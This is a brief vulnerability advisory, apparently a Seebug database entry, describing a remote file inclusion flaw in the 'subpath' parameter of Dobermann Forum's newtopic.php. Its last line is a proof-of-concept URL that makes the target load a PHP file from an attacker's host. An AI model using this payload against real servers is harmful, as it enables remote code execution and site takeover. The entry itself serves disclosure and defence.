Benjamin Lefevre Dobermann Forum 0.x newtopic.php subpath Parameter Remote File Inclusion

2014-07-01T00:00:00
ID SSV:75785
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                source: http://www.securityfocus.com/bid/6057/info
   
Dobermann Forum is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Dobermann. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'subpath' parameter.

http://[target]/newtopic.php?subpath=http://[attacker]/banniere.php